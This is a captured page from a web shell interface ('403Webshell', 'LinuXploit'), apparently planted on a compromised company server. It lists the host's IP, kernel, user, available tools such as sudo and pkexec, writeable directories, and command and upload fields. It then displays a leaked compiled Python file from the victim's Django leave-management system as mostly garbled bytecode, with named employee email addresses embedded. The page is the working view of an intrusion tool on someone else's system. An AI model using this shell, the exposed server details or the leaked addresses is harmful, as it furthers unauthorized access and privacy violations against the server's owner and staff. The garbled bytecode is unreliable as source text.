403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/leave/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/leave/__pycache__/threading.cpython-310.pyc
o

hͦh>(�@s�ddlZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZdd
lmZe�e�Ze�d�ZGdd
�d
e�ZGdd�de�ZdS)�N)�Thread)�settings)�messages)�EmailMessage)�Q)�render_to_string)�gettext)�ConfiguredEmailBackend)�	mark_safe�djangocs0eZdZdd�Zd
dd�Zd�fdd	�Z�ZS)�LeaveMailSendThreadcCsBt�|�||_||_||_|��|_|��rd|_dSd|_dS)N�https�http)	r�__init__�request�
leave_request�type�get_host�host�	is_secure�protocol)�selfrrr�r�/var/www/erp/leave/threading.pyrs

zLeaveMailSendThread.__init__�#c
Cs*t�d�t�}|j}|jr+z|jjj���d|jjjj�d�}Wn	t�	t
�Ytjdt
tj�d�}d}|dkrAt|�}	|D]O}
|
r�td|	|
||||d	��}t||d
t|
t�r^|
n|
jg|gd�}d|_t�|�z|��t�d
�WqCt�	|jdt|
t�r�|
n|
�����YqCqCdS)Nz&Executed send mail function at 28 linez <�>r�r
rz/base/mail_templates/leave_request_template.html)�link�instancerr�subject�contentzinfo@growthnatives.com)r�body�
from_email�to�reply_to�htmlz&after sending mail function at 65 linezMail not sent to )�logger�infor	�$dynamic_from_email_with_display_namer�user�employee_get�
get_full_name�email�error�	Exceptionr�BASE_URL�len�intrr�
isinstance�str�content_subtype�sendr)
rrr �
recipients�leave_request_id�
email_backend�display_email_namerrr�	recipient�html_messager,rrr�
send_emailsT
&���
���zLeaveMailSendThread.send_email�returnNcs�ddlm}t���|jdkr�t�d�|jj}|jj	j
}|jj}|jj}|jj
}|jj��}|jj}|j��}	td|���d|�d|�d��d	|�d��d
|dkrUdnd
�d|���d|�d��}
d}|	D]}|j	j
dkr~|d|j	j
�d|���d�7}qg|d7}t|
�d|���}
|�d|��}ddg}|�||
|g||jj�t�d�t|
�d|���}|�d�}|�|||g|jj�dS|jdkr�|jj}|jj��}d}d|�d �}|�|||g|jj�dS|jd!k�r
|jj}|jj��}d"}d#|�d �}|�|||g|jj�dS|jd$k�rF|jj}|jj��}d%|�d&|�d �}
d'}|�||
|g|jj�d(|�d �}d)}|�|||g|jj�dS)*Nr)�AvailableLeaverz(Executed mail thread function at 73 linea>
            <h4 style="margin:10px 0 5px 0;">Details:</h4>
            <table border=1 style="border-collapse: collapse; width: 90%; border-color:#dddddd; text-align:left; font-size:12px;">
                <tr>
                    <th style="padding: 4px;">Employee</th>
                    <td style="padding: 4px;">z�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">Leave Type</th>
                    <td style="padding: 4px;">z�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">From Date</th>
                    <td style="padding: 4px;">z%d-%m-%Yz�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">To Date</th>
                    <td style="padding: 4px;">z�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">Status</th>
                    <td style="padding: 4px;">�approvedzApproved by LeadzPending for Lead's Approvalz�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">Leave Approver</th>
                    <td style="padding: 4px;">z�</td>
                </tr>
                <tr>
                    <th style="padding: 4px;">Reason</th>
                    <td style="padding: 4px;">z=</td>
                </tr>
            </table>
            a<h4 style="margin:15px 0 5px 0;">All Leaves</h4><table border=1 style="width: 90%; border-collapse: collapse; border-color:#dddddd; text-align:left; font-size:12px;"><tr><th style="padding: 4px;">Leave Type</th><th style="padding: 4px;">Leave Taken</th></tr>zLeave Without Payz<tr><td style="padding: 4px;">z</td><td style="padding: 4px;">z
</td></tr>z</table>� z requested by zgeeta.patial@growthnatives.comzanju.yadav@growthnatives.comz!after executing send email at 142z request created successfully�approvez0The Leave request has been successfully approvedz�This is to inform you that the leave request has been approved. If you have any questions or require further information, feel free to reach out to the �.�rejectz#The Leave request has been rejectedz�This is to inform you that the leave request has been rejected. If you have any questions or require further information, feel free to reach out to the �cancelzKThis is to inform you that a leave request has been requested to cancel by z�. Take the necessary actions for the leave request. Should you have any additional information or updates, please feel free to communicate directly with the zLeave request cancellationa6This is to inform you that a cancellation request created for your leave request has been successfully logged into our system. The manager will now take the necessary actions to address the leave request. Should you have any additional information or updates, please feel free to communicate directly with the z$Leave request cancellation requested)�leave.modelsr>�super�runrr&r'r�employee_id�
leave_type_id�name�
start_date�end_date�status�get_reporting_manager�description�available_leave�allr
r+�strftime�leave_takenr<�id)rr>�owner�owner_leave_type�	from_date�to_date�leave_status�reporting_manager�reason�
all_leaves�leave_details_table�leave_count_table�
leave_type�content_manager�subject_manager�
static_emails�
content_owner�
subject_ownerrr ��	__class__rrrGHs�




�	�
����
�"���
�
�+
� ����zLeaveMailSendThread.run)r�r=N)�__name__�
__module__�__qualname__rr<rG�
__classcell__rrrerrs
-rcs.eZdZdd�Zdd�Zd	�fdd�Z�ZS)
�LeaveClashThreadcCst�|�||_dS)N)rrr)rrrrrr�s

zLeaveClashThread.__init__cCs\ddlm}	|jj|jjd�jt|jjj	j
d�t|jjj	jd�B|jj|jj
d�}|��S)Nr��LeaveRequest)rT)�.employee_id__employee_work_info__department_id)�0employee_id__employee_work_info__job_position_id)�start_date__lte�
end_date__gte)rErn�objects�excluderrT�filterrrH�employee_work_info�
department_id�job_position_idrLrK�count)rrn�overlapping_requestsrrr�count_leave_clashes�s"�
�
���
z$LeaveClashThread.count_leave_clashesr=Ncs\ddlm}t���|j��}|j�t|d�t|d�B�}|D]}|�	�|_
|��q dS)Nrrm)�start_date__in)�end_date__in)rErnrFrGr�requested_datesrsrurr{�leave_clashes_count�save)rrn�dates�leave_requests_to_updaterrerrrG�s

�

�zLeaveClashThread.runrg)rhrirjrr{rGrkrrrerrl�srl)�logging�	threadingr�django.confr�django.contribr�django.core.mailr�django.db.modelsr�django.template.loaderr�django.utils.translationr�_�
base.backendsr	�django.utils.safestringr
�	getLoggerrhr&rrlrrrr�<module>s

/

Youez - 2016 - github.com/yon3zu
LinuXploit